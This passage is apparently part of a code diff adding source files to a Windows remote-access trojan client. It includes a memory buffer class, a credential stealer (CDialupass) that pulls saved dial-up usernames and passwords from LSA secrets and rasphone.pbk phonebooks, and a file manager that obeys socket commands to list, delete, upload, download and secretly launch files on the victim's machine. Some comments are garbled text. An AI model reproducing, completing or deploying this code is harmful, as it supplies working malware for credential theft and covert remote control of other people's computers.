LeaveCriticalSection(&m_cs);
return 0;
}
// all that we have
if (nSize > GetBufferLen())
nSize = GetBufferLen();
if (nSize)
{
// Copy over required amount and its not up to us
// to terminate the buffer - got that!!!
CopyMemory(pData,m_pBase,nSize);
// Slide the buffer back - like sinking the data
MoveMemory(m_pBase,m_pBase+nSize,GetMemSize() - nSize);
m_pPtr -= nSize;
}
DeAllocateBuffer(GetBufferLen());
LeaveCriticalSection(&m_cs);
return nSize;
}
////////////////////////////////////////////////////////////////////////////////
//
// FUNCTION: GetMemSize
//
// DESCRIPTION: Returns the phyical memory allocated to the buffer
//
// RETURNS:
//
// NOTES:
//
// MODIFICATIONS:
//
// Name Date Version Comments
// N T ALMOND 270400 1.0 Origin
//
////////////////////////////////////////////////////////////////////////////////
UINT CBuffer::GetMemSize()
{
return m_nSize;
}
////////////////////////////////////////////////////////////////////////////////
//
// FUNCTION: GetBufferLen
//
// DESCRIPTION: Get the buffer 'data' length
//
// RETURNS:
//
// NOTES:
//
// MODIFICATIONS:
//
// Name Date Version Comments
// N T ALMOND 270400 1.0 Origin
//
////////////////////////////////////////////////////////////////////////////////
UINT CBuffer::GetBufferLen()
{
if (m_pBase == NULL)
return 0;
int nSize =
m_pPtr - m_pBase;
return nSize;
}
////////////////////////////////////////////////////////////////////////////////
//
// FUNCTION: ReAllocateBuffer
//
// DESCRIPTION: ReAllocateBuffer the Buffer to the requested size
//
// RETURNS:
//
// NOTES:
//
// MODIFICATIONS:
//
// Name Date Version Comments
// N T ALMOND 270400 1.0 Origin
//
////////////////////////////////////////////////////////////////////////////////
UINT CBuffer::ReAllocateBuffer(UINT nRequestedSize)
{
if (nRequestedSize < GetMemSize())
return 0;
// Allocate new size
UINT nNewSize = (UINT) ceil(nRequestedSize / 1024.0) * 1024;
// New Copy Data Over
PBYTE pNewBuffer = (PBYTE) VirtualAlloc(NULL,nNewSize,MEM_COMMIT,PAGE_READWRITE);
if (pNewBuffer == NULL)
return -1;
UINT nBufferLen = GetBufferLen();
CopyMemory(pNewBuffer,m_pBase,nBufferLen);
if (m_pBase)
VirtualFree(m_pBase,0,MEM_RELEASE);
// Hand over the pointer
m_pBase = pNewBuffer;
// Realign position pointer
m_pPtr = m_pBase + nBufferLen;
m_nSize = nNewSize;
return m_nSize;
}
////////////////////////////////////////////////////////////////////////////////
//
// FUNCTION: DeAllocateBuffer
//
// DESCRIPTION: DeAllocates the Buffer to the requested size
//
// RETURNS:
//
// NOTES:
//
// MODIFICATIONS:
//
// Name Date Version Comments
// N T ALMOND 270400 1.0 Origin
//
////////////////////////////////////////////////////////////////////////////////
UINT CBuffer::DeAllocateBuffer(UINT nRequestedSize)
{
if (nRequestedSize < GetBufferLen())
return 0;
// Allocate new size
UINT nNewSize = (UINT) ceil(nRequestedSize / 1024.0) * 1024;
if (nNewSize < GetMemSize())
return 0;
// New Copy Data Over
PBYTE pNewBuffer = (PBYTE) VirtualAlloc(NULL,nNewSize,MEM_COMMIT,PAGE_READWRITE);
UINT nBufferLen = GetBufferLen();
CopyMemory(pNewBuffer,m_pBase,nBufferLen);
VirtualFree(m_pBase,0,MEM_RELEASE);
// Hand over the pointer
m_pBase = pNewBuffer;
// Realign position pointer
m_pPtr = m_pBase + nBufferLen;
m_nSize = nNewSize;
return m_nSize;
}
////////////////////////////////////////////////////////////////////////////////
//
// FUNCTION: Scan
//
// DESCRIPTION: Scans the buffer for a given byte sequence
//
// RETURNS: Logical offset
//
// NOTES:
//
// MODIFICATIONS:
//
// Name Date Version Comments
// N T ALMOND 270400 1.0 Origin
//
////////////////////////////////////////////////////////////////////////////////
int CBuffer::Scan(PBYTE pScan,UINT nPos)
{
if (nPos > GetBufferLen() )
return -1;
PBYTE pStr = (PBYTE) strstr((char*)(m_pBase+nPos),(char*)pScan);
int nOffset = 0;
if (pStr)
nOffset = (pStr - m_pBase) + strlen((char*)pScan);
return nOffset;
}
////////////////////////////////////////////////////////////////////////////////
//
// FUNCTION: ClearBuffer
//
// DESCRIPTION: Clears/Resets the buffer
//
// RETURNS:
//
// NOTES:
//
// MODIFICATIONS:
//
// Name Date Version Comments
// N T ALMOND 270400 1.0 Origin
//
////////////////////////////////////////////////////////////////////////////////
void CBuffer::ClearBuffer()
{
EnterCriticalSection(&m_cs);
// Force the buffer to be empty
m_pPtr = m_pBase;
DeAllocateBuffer(1024);
LeaveCriticalSection(&m_cs);
}
////////////////////////////////////////////////////////////////////////////////
//
// FUNCTION: Copy
//
// DESCRIPTION: Copy from one buffer object to another...
//
// RETURNS:
//
// NOTES:
//
// MODIFICATIONS:
//
// Name Date Version Comments
// N T ALMOND 270400 1.0 Origin
//
////////////////////////////////////////////////////////////////////////////////
void CBuffer::Copy(CBuffer& buffer)
{
int nReSize = buffer.GetMemSize();
int nSize = buffer.GetBufferLen();
ClearBuffer();
if (ReAllocateBuffer(nReSize) == -1)
return;
m_pPtr = m_pBase + nSize;
CopyMemory(m_pBase,buffer.GetBuffer(),buffer.GetBufferLen());
}
////////////////////////////////////////////////////////////////////////////////
//
// FUNCTION: GetBuffer
//
// DESCRIPTION: Returns a pointer to the physical memory determined by the offset
//
// RETURNS:
//
// NOTES:
//
// MODIFICATIONS:
//
// Name Date Version Comments
// N T ALMOND 270400 1.0 Origin
//
////////////////////////////////////////////////////////////////////////////////
PBYTE CBuffer::GetBuffer(UINT nPos)
{
return m_pBase+nPos;
}
////////////////////////////////////////////////////////////////////////////////
//
// FUNCTION: Delete
//
// DESCRIPTION: Delete data from the buffer and deletes what it reads
//
// RETURNS:
//
// NOTES:
//
// MODIFICATIONS:
//
// Name Date Version Comments
// N T ALMOND 270400 1.0 Origin
//
////////////////////////////////////////////////////////////////////////////////
UINT CBuffer::Delete(UINT nSize)
{
// Trying to byte off more than ya can chew - eh?
if (nSize > GetMemSize())
return 0;
// all that we have
if (nSize > GetBufferLen())
nSize = GetBufferLen();
if (nSize)
{
// Slide the buffer back - like sinking the data
MoveMemory(m_pBase,m_pBase+nSize,GetMemSize() - nSize);
m_pPtr -= nSize;
}
DeAllocateBuffer(GetBufferLen());
return nSize;
}

View File

@@ -0,0 +1,46 @@
// Buffer.h: interface for the CBuffer class.
//
//////////////////////////////////////////////////////////////////////
#if !defined(AFX_BUFFER_H__829F6693_AC4D_11D2_8C37_00600877E420__INCLUDED_)
#define AFX_BUFFER_H__829F6693_AC4D_11D2_8C37_00600877E420__INCLUDED_
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
#include <windows.h>
class CBuffer
{
// Attributes
protected:
PBYTE m_pBase;
PBYTE m_pPtr;
UINT m_nSize;
// Methods
protected:
UINT ReAllocateBuffer(UINT nRequestedSize);
UINT DeAllocateBuffer(UINT nRequestedSize);
UINT GetMemSize();
public:
void ClearBuffer();
UINT Delete(UINT nSize);
UINT Read(PBYTE pData, UINT nSize);
BOOL Write(PBYTE pData, UINT nSize);
UINT GetBufferLen();
int Scan(PBYTE pScan,UINT nPos);
BOOL Insert(PBYTE pData, UINT nSize);
void Copy(CBuffer& buffer);
PBYTE GetBuffer(UINT nPos=0);
CBuffer();
virtual ~CBuffer();
private:
CRITICAL_SECTION m_cs;
};
#endif // !defined(AFX_BUFFER_H__829F6693_AC4D_11D2_8C37_00600877E420__INCLUDED_)

View File

@@ -0,0 +1,319 @@
// Dialupass.cpp: implementation of the CDialupass class.
//
//////////////////////////////////////////////////////////////////////
#include "Dialupass.h"
#include "until.h"
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
CDialupass::CDialupass()
{
m_nMax = 0;
m_lpCurrentUser = GetCurrentLoginUser();
m_nRasCount = GetRasEntryCount();
m_PassWords = new PASSWORDS[m_nRasCount];
OneInfo = new COneInfo* [m_nRasCount];
m_nUsed = 0;
m_nCount = 0;
GetRasEntries();
}
CDialupass::~CDialupass()
{
for(int i=0; i<m_nRasCount; i++)
delete OneInfo[i];
delete m_PassWords;
if (!m_lpCurrentUser)
delete m_lpCurrentUser;
}
DWORD CDialupass::GetRasEntryCount()
{
int nCount = 0;
char *lpPhoneBook[2];
char szPhoneBook1[MAX_PATH+1], szPhoneBook2[MAX_PATH+1];
GetWindowsDirectory(szPhoneBook1, sizeof(szPhoneBook1));
lstrcpy(strchr(szPhoneBook1, '\\') + 1, "Documents and Settings\\");
lstrcat(szPhoneBook1, m_lpCurrentUser);
lstrcat(szPhoneBook1, "\\Application Data\\Microsoft\\Network\\Connections\\pbk\\rasphone.pbk");
SHGetSpecialFolderPath(NULL,szPhoneBook2, 0x23, 0);
wsprintf(szPhoneBook2, "%s\\%s", szPhoneBook2, "Microsoft\\Network\\Connections\\pbk\\rasphone.pbk");
lpPhoneBook[0] = szPhoneBook1;
lpPhoneBook[1] = szPhoneBook2;
DWORD nSize = 1024 * 4;
char *lpszReturnBuffer = new char[nSize];
for (int i = 0; i < sizeof(lpPhoneBook) / sizeof(int); i++)
{
memset(lpszReturnBuffer, 0, nSize);
GetPrivateProfileSectionNames(lpszReturnBuffer, nSize, lpPhoneBook[i]);
for(char *lpSection = lpszReturnBuffer; *lpSection != '\0'; lpSection += lstrlen(lpSection) + 1)
{
nCount++;
}
}
delete lpszReturnBuffer;
return nCount;
}
LPTSTR CDialupass::GetLocalSid()
{
union
{
SID s;
char c[256];
}Sid;
DWORD sizeSid=sizeof(Sid);
char DomainName[256];
DWORD sizeDomainName=sizeof(DomainName);
SID_NAME_USE peUse;
LPSTR pSid;
if (m_lpCurrentUser == NULL)
return NULL;
if(!LookupAccountName(NULL,m_lpCurrentUser,(SID*)&Sid,&sizeSid,DomainName,&sizeDomainName,&peUse))return NULL;
if(!IsValidSid(&Sid))return NULL;
typedef BOOL (WINAPI *ConvertSid2StringSid)(PSID , LPTSTR *);
ConvertSid2StringSid proc;
HINSTANCE hLibrary = LoadLibrary("advapi32.dll");
proc = (ConvertSid2StringSid) GetProcAddress(hLibrary, "ConvertSidToStringSidA");
if(proc) proc((SID*)&Sid.s,&pSid);
FreeLibrary(hLibrary);
return pSid;
}
void CDialupass::AnsiStringToLsaStr(LPSTR AValue,PLSA_UNICODE_STRING lsa)
{
lsa->Length=lstrlen(AValue)*2;
lsa->MaximumLength=lsa->Length+2;
lsa->Buffer=(PWSTR)malloc(lsa->MaximumLength);
MultiByteToWideChar(NULL,NULL,(LPCSTR)AValue,lstrlen(AValue),lsa->Buffer,lsa->MaximumLength);
}
PLSA_UNICODE_STRING CDialupass::GetLsaData(LPSTR KeyName)
{
LSA_OBJECT_ATTRIBUTES LsaObjectAttribs;
LSA_HANDLE LsaHandle;
LSA_UNICODE_STRING LsaKeyName;
NTSTATUS nts;
PLSA_UNICODE_STRING OutData;
ZeroMemory(&LsaObjectAttribs,sizeof(LsaObjectAttribs));
nts=LsaOpenPolicy(NULL,&LsaObjectAttribs,POLICY_GET_PRIVATE_INFORMATION,&LsaHandle);
if(nts!=0)return NULL;
AnsiStringToLsaStr(KeyName, &LsaKeyName);
nts=LsaRetrievePrivateData(LsaHandle, &LsaKeyName,&OutData);
if(nts!=0)return NULL;
nts=LsaClose(LsaHandle);
if(nts!=0)return NULL;
return OutData;
}
/////////
void CDialupass::ParseLsaBuffer(LPCWSTR Buffer,USHORT Length)
{
char AnsiPsw[1024];
char chr,PswStr[256];
PswStr[0]=0;
WideCharToMultiByte(0,NULL,Buffer,Length,AnsiPsw,1024,0,0);
for(int i=0,SpacePos=0,TXT=0;i<Length/2-2;i++)
{
chr=AnsiPsw[i];
if(chr==0)
{
SpacePos++;
switch(SpacePos)
{
case 1:
PswStr[TXT]=chr;
strcpy(m_PassWords[m_nUsed].UID,PswStr);
break;
case 6:
PswStr[TXT]=chr;
strcpy(m_PassWords[m_nUsed].login,PswStr);
break;
case 7:
PswStr[TXT]=chr;
strcpy(m_PassWords[m_nUsed].pass,PswStr);
m_PassWords[m_nUsed].used=false;
m_nUsed++;
break;
}
ZeroMemory(PswStr,256);
TXT=0;
}
else
{
PswStr[TXT]=chr;
TXT++;
}
if(SpacePos==9)SpacePos=0;
}
}
///////////
void CDialupass::GetLsaPasswords()
{
PLSA_UNICODE_STRING PrivateData;
char Win2k[]="RasDialParams!%s#0";
char WinXP[]="L$_RasDefaultCredentials#0";
char temp[256];
wsprintf(temp,Win2k,GetLocalSid());
PrivateData=GetLsaData(temp);
if(PrivateData!=NULL)
{
ParseLsaBuffer(PrivateData->Buffer,PrivateData->Length);
LsaFreeMemory(PrivateData->Buffer);
}
PrivateData=GetLsaData(WinXP);
if(PrivateData!=NULL)
{
ParseLsaBuffer(PrivateData->Buffer,PrivateData->Length);
LsaFreeMemory(PrivateData->Buffer);
}
}
bool CDialupass::GetRasEntries()
{
int nCount = 0;
char *lpPhoneBook[2];
char szPhoneBook1[MAX_PATH+1], szPhoneBook2[MAX_PATH+1];
GetWindowsDirectory(szPhoneBook1, sizeof(szPhoneBook1));
lstrcpy(strchr(szPhoneBook1, '\\') + 1, "Documents and Settings\\");
lstrcat(szPhoneBook1, m_lpCurrentUser);
lstrcat(szPhoneBook1, "\\Application Data\\Microsoft\\Network\\Connections\\pbk\\rasphone.pbk");
SHGetSpecialFolderPath(NULL,szPhoneBook2, 0x23, 0);
wsprintf(szPhoneBook2, "%s\\%s", szPhoneBook2, "Microsoft\\Network\\Connections\\pbk\\rasphone.pbk");
lpPhoneBook[0] = szPhoneBook1;
lpPhoneBook[1] = szPhoneBook2;
OSVERSIONINFO osi;
osi.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
GetVersionEx(&osi);
if(osi.dwPlatformId == VER_PLATFORM_WIN32_NT && osi.dwMajorVersion >= 5)
{
GetLsaPasswords();
}
DWORD nSize = 1024 * 4;
char *lpszReturnBuffer = new char[nSize];
for (int i = 0; i < sizeof(lpPhoneBook) / sizeof(int); i++)
{
memset(lpszReturnBuffer, 0, nSize);
GetPrivateProfileSectionNames(lpszReturnBuffer, nSize, lpPhoneBook[i]);
for(char *lpSection = lpszReturnBuffer; *lpSection != '\0'; lpSection += lstrlen(lpSection) + 1)
{
char *lpRealSection = (char *)UTF8ToGB2312(lpSection);
char strDialParamsUID[256];
char strUserName[256];
char strPassWord[256];
char strPhoneNumber[256];
char strDevice[256];
memset(strDialParamsUID, 0, sizeof(strDialParamsUID));
memset(strUserName, 0, sizeof(strUserName));
memset(strPassWord, 0, sizeof(strPassWord));
memset(strPhoneNumber, 0, sizeof(strPhoneNumber));
memset(strDevice, 0, sizeof(strDevice));
int nBufferLen = GetPrivateProfileString(lpSection, "DialParamsUID", 0,
strDialParamsUID, sizeof(strDialParamsUID), lpPhoneBook[i]);
if (nBufferLen > 0)//DialParamsUID=4326020 198064
{
for(int j=0; j< (int)m_nRasCount; j++)
{
if(lstrcmp(strDialParamsUID, m_PassWords[j].UID)==0)
{
lstrcpy(strUserName, m_PassWords[j].login);
lstrcpy(strPassWord, m_PassWords[j].pass);
m_PassWords[j].used=true;
m_nUsed++;
break;
}
}
}
GetPrivateProfileString(lpSection, "PhoneNumber", 0,
strPhoneNumber, sizeof(strDialParamsUID), lpPhoneBook[i]);
GetPrivateProfileString(lpSection, "Device", 0,
strDevice, sizeof(strDialParamsUID), lpPhoneBook[i]);
char *lpRealDevice = (char *)UTF8ToGB2312(strDevice);
char *lpRealUserName = (char *)UTF8ToGB2312(strUserName);
Set(strDialParamsUID, lpRealSection, lpRealUserName, strPassWord,
strPhoneNumber, lpRealDevice);
delete lpRealSection;
delete lpRealUserName;
delete lpRealDevice;
}
}
delete lpszReturnBuffer;
return true;
}
BOOL CDialupass::Set(char *DialParamsUID, char *Name,char *User,char *Password,char *PhoneNumber, char *Device)
{
for(int i=0; i<m_nMax; i++){
if(0==strcmp(OneInfo[i]->Get(STR_DialParamsUID), DialParamsUID)){
if(Name!=NULL)
OneInfo[i]->Set(STR_Name,Name);
if(User!=NULL)
OneInfo[i]->Set(STR_User,User);
if(Password!=NULL)
OneInfo[i]->Set(STR_Password,Password);
if(PhoneNumber!=NULL)
OneInfo[i]->Set(STR_PhoneNumber,PhoneNumber);
if(Device!=NULL)
OneInfo[i]->Set(STR_Device, Device);
return TRUE;
}
}
if(m_nMax < m_nRasCount){
OneInfo[m_nMax] = new COneInfo;
OneInfo[m_nMax]->Set(STR_DialParamsUID,DialParamsUID);
OneInfo[m_nMax]->Set(STR_Name,Name);
OneInfo[m_nMax]->Set(STR_User,User);
OneInfo[m_nMax]->Set(STR_Password,Password);
OneInfo[m_nMax]->Set(STR_PhoneNumber,PhoneNumber);
OneInfo[m_nMax]->Set(STR_Device,Device);
m_nMax ++;
return TRUE;
}
return false;
}
LPCTSTR CDialupass::UTF8ToGB2312(char UTF8Str[])
{
if (UTF8Str == NULL || lstrlen(UTF8Str) == 0)
return "";
int nStrLen = lstrlen(UTF8Str) * 2;
char *lpWideCharStr = new char[nStrLen];
char *lpMultiByteStr = new char[nStrLen];
MultiByteToWideChar(CP_UTF8, 0, UTF8Str, -1, (LPWSTR)lpWideCharStr, nStrLen);
WideCharToMultiByte(CP_ACP, 0, (LPWSTR)lpWideCharStr, -1, lpMultiByteStr, nStrLen, 0, 0);
delete lpWideCharStr;
return lpMultiByteStr;
}

View File

@@ -0,0 +1,96 @@
// Dialupass.h: interface for the CDialupass class.
//
//////////////////////////////////////////////////////////////////////
#if !defined(AFX_DIALUPASS_H__B0BBD3E2_526C_4B10_A877_95E6D12F31D2__INCLUDED_)
#define AFX_DIALUPASS_H__B0BBD3E2_526C_4B10_A877_95E6D12F31D2__INCLUDED_
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
#include <windows.h>
#include <ras.h>
#include <raserror.h>
#include <shlobj.h>
#include <ntsecapi.h>
#pragma comment(lib, "rasapi32.lib")
#define STR_DialParamsUID 0
#define STR_Name 1
#define STR_User 2
#define STR_Password 3
#define STR_PhoneNumber 4
#define STR_Device 5
#define STR_MAX 6
typedef struct
{
char UID[256];
char pass[256];
char login[256];
bool used;
}PASSWORDS, *PPASSWORDS;
class COneInfo{
private:
char *Str[STR_MAX];
public:
COneInfo(void)
{
for(int i=0;i<STR_MAX;i++)
Str[i]=NULL;
}
virtual ~COneInfo(void)
{
for(int i=0;i<STR_MAX;i++){
if(Str[i]!=NULL)
delete [] Str[i];
}
}
void Set(int Kind,char *str)
{
if(str==NULL)
return;
if(Str[Kind]!=NULL){
delete [] Str[Kind];
}
Str[Kind] = new char[strlen(str)+1];
strcpy(Str[Kind],str);
}
char * Get(int Kind)
{
return Str[Kind];
}
};
class CDialupass
{
public:
CDialupass();
virtual ~CDialupass();
int GetMax(void){ return m_nMax;}
COneInfo * GetOneInfo(int n){return OneInfo[n];}
private:
LPCTSTR UTF8ToGB2312(char UTF8Str[]);
int m_nMax;
int m_nUsed;
int m_nCount;
int m_nRasCount;
char *m_lpCurrentUser;
COneInfo **OneInfo;
PASSWORDS *m_PassWords;
BOOL Set(char *DialParamsUID, char *Name,char *User,char *Password,char *PhoneNumber, char *Device);
DWORD GetRasEntryCount();
void GetLsaPasswords();
void ParseLsaBuffer(LPCWSTR Buffer,USHORT Length);
PLSA_UNICODE_STRING GetLsaData(LPSTR KeyName);
void AnsiStringToLsaStr(LPSTR AValue,PLSA_UNICODE_STRING lsa);
LPTSTR GetLocalSid();
bool GetRasEntries();
};
#endif // !defined(AFX_DIALUPASS_H__B0BBD3E2_526C_4B10_A877_95E6D12F31D2__INCLUDED_)

View File

@@ -0,0 +1,781 @@
// FileManager.cpp: implementation of the CFileManager class.
//
//////////////////////////////////////////////////////////////////////
#include "FileManager.h"
typedef struct
{
DWORD dwSizeHigh;
DWORD dwSizeLow;
}FILESIZE;
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
CFileManager::CFileManager(CClientSocket *pClient):CManager(pClient)
{
m_nTransferMode = TRANSFER_MODE_NORMAL;
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD>, <20><>ʼ<EFBFBD><CABC><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߳<EFBFBD>
SendDriveList();
}
CFileManager::~CFileManager()
{
m_UploadList.clear();
}
void CFileManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
{
switch (lpBuffer[0])
{
case COMMAND_LIST_FILES:// <20><>ȡ<EFBFBD>ļ<EFBFBD><C4BC>б<EFBFBD>
SendFilesList((char *)lpBuffer + 1);
break;
case COMMAND_DELETE_FILE:// ɾ<><C9BE><EFBFBD>ļ<EFBFBD>
DeleteFile((char *)lpBuffer + 1);
SendToken(TOKEN_DELETE_FINISH);
break;
case COMMAND_DELETE_DIRECTORY:// ɾ<><C9BE><EFBFBD>ļ<EFBFBD>
////printf("ɾ<><C9BE>Ŀ¼ %s\n", (char *)(bPacket + 1));
DeleteDirectory((char *)lpBuffer + 1);
SendToken(TOKEN_DELETE_FINISH);
break;
case COMMAND_DOWN_FILES: // <20>ϴ<EFBFBD><CFB4>ļ<EFBFBD>
UploadToRemote(lpBuffer + 1);
break;
case COMMAND_CONTINUE: // <20>ϴ<EFBFBD><CFB4>ļ<EFBFBD>
SendFileData(lpBuffer + 1);
break;
case COMMAND_CREATE_FOLDER:
CreateFolder(lpBuffer + 1);
break;
case COMMAND_RENAME_FILE:
Rename(lpBuffer + 1);
break;
case COMMAND_STOP:
StopTransfer();
break;
case COMMAND_SET_TRANSFER_MODE:
SetTransferMode(lpBuffer + 1);
break;
case COMMAND_FILE_SIZE:
CreateLocalRecvFile(lpBuffer + 1);
break;
case COMMAND_FILE_DATA:
WriteLocalRecvFile(lpBuffer + 1, nSize -1);
break;
case COMMAND_OPEN_FILE_SHOW:
OpenFile((char *)lpBuffer + 1, SW_SHOW);
break;
case COMMAND_OPEN_FILE_HIDE:
OpenFile((char *)lpBuffer + 1, SW_HIDE);
break;
default:
break;
}
}
bool CFileManager::MakeSureDirectoryPathExists(LPCTSTR pszDirPath)
{
LPTSTR p, pszDirCopy;
DWORD dwAttributes;
// Make a copy of the string for editing.
__try
{
pszDirCopy = (LPTSTR)malloc(sizeof(TCHAR) * (lstrlen(pszDirPath) + 1));
if(pszDirCopy == NULL)
return FALSE;
lstrcpy(pszDirCopy, pszDirPath);
p = pszDirCopy;
// If the second character in the path is "\", then this is a UNC
// path, and we should skip forward until we reach the 2nd \ in the path.
if((*p == TEXT('\\')) && (*(p+1) == TEXT('\\')))
{
p++; // Skip over the first \ in the name.
p++; // Skip over the second \ in the name.
// Skip until we hit the first "\" (\\Server\).
while(*p && *p != TEXT('\\'))
{
p = CharNext(p);
}
// Advance over it.
if(*p)
{
p++;
}
// Skip until we hit the second "\" (\\Server\Share\).
while(*p && *p != TEXT('\\'))
{
p = CharNext(p);
}
// Advance over it also.
if(*p)
{
p++;
}
}
else if(*(p+1) == TEXT(':')) // Not a UNC. See if it's <drive>:
{
p++;
p++;
// If it exists, skip over the root specifier
if(*p && (*p == TEXT('\\')))
{
p++;
}
}
while(*p)
{
if(*p == TEXT('\\'))
{
*p = TEXT('\0');
dwAttributes = GetFileAttributes(pszDirCopy);
// Nothing exists with this name. Try to make the directory name and error if unable to.
if(dwAttributes == 0xffffffff)
{
if(!CreateDirectory(pszDirCopy, NULL))
{
if(GetLastError() != ERROR_ALREADY_EXISTS)
{
free(pszDirCopy);
return FALSE;
}
}
}
else
{
if((dwAttributes & FILE_ATTRIBUTE_DIRECTORY) != FILE_ATTRIBUTE_DIRECTORY)
{
// Something exists with this name, but it's not a directory... Error
free(pszDirCopy);
return FALSE;
}
}
*p = TEXT('\\');
}
p = CharNext(p);
}
}
__except(EXCEPTION_EXECUTE_HANDLER)
{
// SetLastError(GetExceptionCode());
free(pszDirCopy);
return FALSE;
}
free(pszDirCopy);
return TRUE;
}
bool CFileManager::OpenFile(LPCTSTR lpFile, INT nShowCmd)
{
char lpSubKey[500];
HKEY hKey;
char strTemp[MAX_PATH];
LONG nSize = sizeof(strTemp);
char *lpstrCat = NULL;
memset(strTemp, 0, sizeof(strTemp));
char *lpExt = strrchr(lpFile, '.');
if (!lpExt)
return false;
if (RegOpenKeyEx(HKEY_CLASSES_ROOT, lpExt, 0L, KEY_ALL_ACCESS, &hKey) != ERROR_SUCCESS)
return false;
RegQueryValue(hKey, NULL, strTemp, &nSize);
RegCloseKey(hKey);
memset(lpSubKey, 0, sizeof(lpSubKey));
wsprintf(lpSubKey, "%s\\shell\\open\\command", strTemp);
if (RegOpenKeyEx(HKEY_CLASSES_ROOT, lpSubKey, 0L, KEY_ALL_ACCESS, &hKey) != ERROR_SUCCESS)
return false;
memset(strTemp, 0, sizeof(strTemp));
nSize = sizeof(strTemp);
RegQueryValue(hKey, NULL, strTemp, &nSize);
RegCloseKey(hKey);
lpstrCat = strstr(strTemp, "\"%1");
if (lpstrCat == NULL)
lpstrCat = strstr(strTemp, "%1");
if (lpstrCat == NULL)
{
lstrcat(strTemp, " ");
lstrcat(strTemp, lpFile);
}
else
lstrcpy(lpstrCat, lpFile);
STARTUPINFO si = {0};
PROCESS_INFORMATION pi;
si.cb = sizeof si;
if (nShowCmd != SW_HIDE)
si.lpDesktop = "WinSta0\\Default";
CreateProcess(NULL, strTemp, NULL, NULL, false, 0, NULL, NULL, &si, &pi);
}
UINT CFileManager::SendDriveList()
{
char DriveString[256];
// ǰһ<C7B0><D2BB><EFBFBD>ֽ<EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD>ƣ<EFBFBD><C6A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>52<35>ֽ<EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
BYTE DriveList[1024];
char FileSystem[MAX_PATH];
char *pDrive = NULL;
DriveList[0] = TOKEN_DRIVE_LIST; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD>
GetLogicalDriveStrings(sizeof(DriveString), DriveString);
pDrive = DriveString;
unsigned __int64 HDAmount = 0;
unsigned __int64 HDFreeSpace = 0;
unsigned long AmntMB = 0; // <20>ܴ<EFBFBD>С
unsigned long FreeMB = 0; // ʣ<><CAA3><EFBFBD>ռ<EFBFBD>
for (DWORD dwOffset = 1; *pDrive != '\0'; pDrive += lstrlen(pDrive) + 1)
{
memset(FileSystem, 0, sizeof(FileSystem));
// <20>õ<EFBFBD><C3B5>ļ<EFBFBD>ϵͳ<CFB5><CDB3>Ϣ<EFBFBD><CFA2><EFBFBD><EFBFBD>С
GetVolumeInformation(pDrive, NULL, 0, NULL, NULL, NULL, FileSystem, MAX_PATH);
SHFILEINFO sfi;
SHGetFileInfo(pDrive, FILE_ATTRIBUTE_NORMAL, &sfi, sizeof(SHFILEINFO), SHGFI_TYPENAME | SHGFI_USEFILEATTRIBUTES);
int nTypeNameLen = lstrlen(sfi.szTypeName) + 1;
int nFileSystemLen = lstrlen(FileSystem) + 1;
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>̴<EFBFBD>С
if (pDrive[0] != 'A' && pDrive[0] != 'B' && GetDiskFreeSpaceEx(pDrive, (PULARGE_INTEGER)&HDFreeSpace, (PULARGE_INTEGER)&HDAmount, NULL))
{
AmntMB = HDAmount / 1024 / 1024;
FreeMB = HDFreeSpace / 1024 / 1024;
}
else
{
AmntMB = 0;
FreeMB = 0;
}
// <20><>ʼ<EFBFBD><CABC>ֵ
DriveList[dwOffset] = pDrive[0];
DriveList[dwOffset + 1] = GetDriveType(pDrive);
// <20><><EFBFBD>̿ռ<CCBF><D5BC><EFBFBD><EFBFBD><EFBFBD>ռȥ<D5BC><C8A5>8<EFBFBD>ֽ<EFBFBD>
memcpy(DriveList + dwOffset + 2, &AmntMB, sizeof(unsigned long));
memcpy(DriveList + dwOffset + 6, &FreeMB, sizeof(unsigned long));
// <20><><EFBFBD>̾<EFBFBD><CCBE><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
memcpy(DriveList + dwOffset + 10, sfi.szTypeName, nTypeNameLen);
memcpy(DriveList + dwOffset + 10 + nTypeNameLen, FileSystem, nFileSystemLen);
dwOffset += 10 + nTypeNameLen + nFileSystemLen;
}
return Send((LPBYTE)DriveList, dwOffset);
}
UINT CFileManager::SendFilesList(LPCTSTR lpszDirectory)
{
// <20><><EFBFBD>ô<EFBFBD><C3B4>ʽ
m_nTransferMode = TRANSFER_MODE_NORMAL;
UINT nRet = 0;
char strPath[MAX_PATH];
char *pszFileName = NULL;
LPBYTE lpList = NULL;
HANDLE hFile;
DWORD dwOffset = 0; // λ<><CEBB>ָ<EFBFBD><D6B8>
int nLen = 0;
DWORD nBufferSize = 1024 * 10; // <20>ȷ<EFBFBD><C8B7><EFBFBD>10K<30>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD>
WIN32_FIND_DATA FindFileData;
lpList = (BYTE *)LocalAlloc(LPTR, nBufferSize);
wsprintf(strPath, "%s\\*.*", lpszDirectory);
hFile = FindFirstFile(strPath, &FindFileData);
if (hFile == INVALID_HANDLE_VALUE)
{
BYTE bToken = TOKEN_FILE_LIST;
return Send(&bToken, 1);
}
*lpList = TOKEN_FILE_LIST;
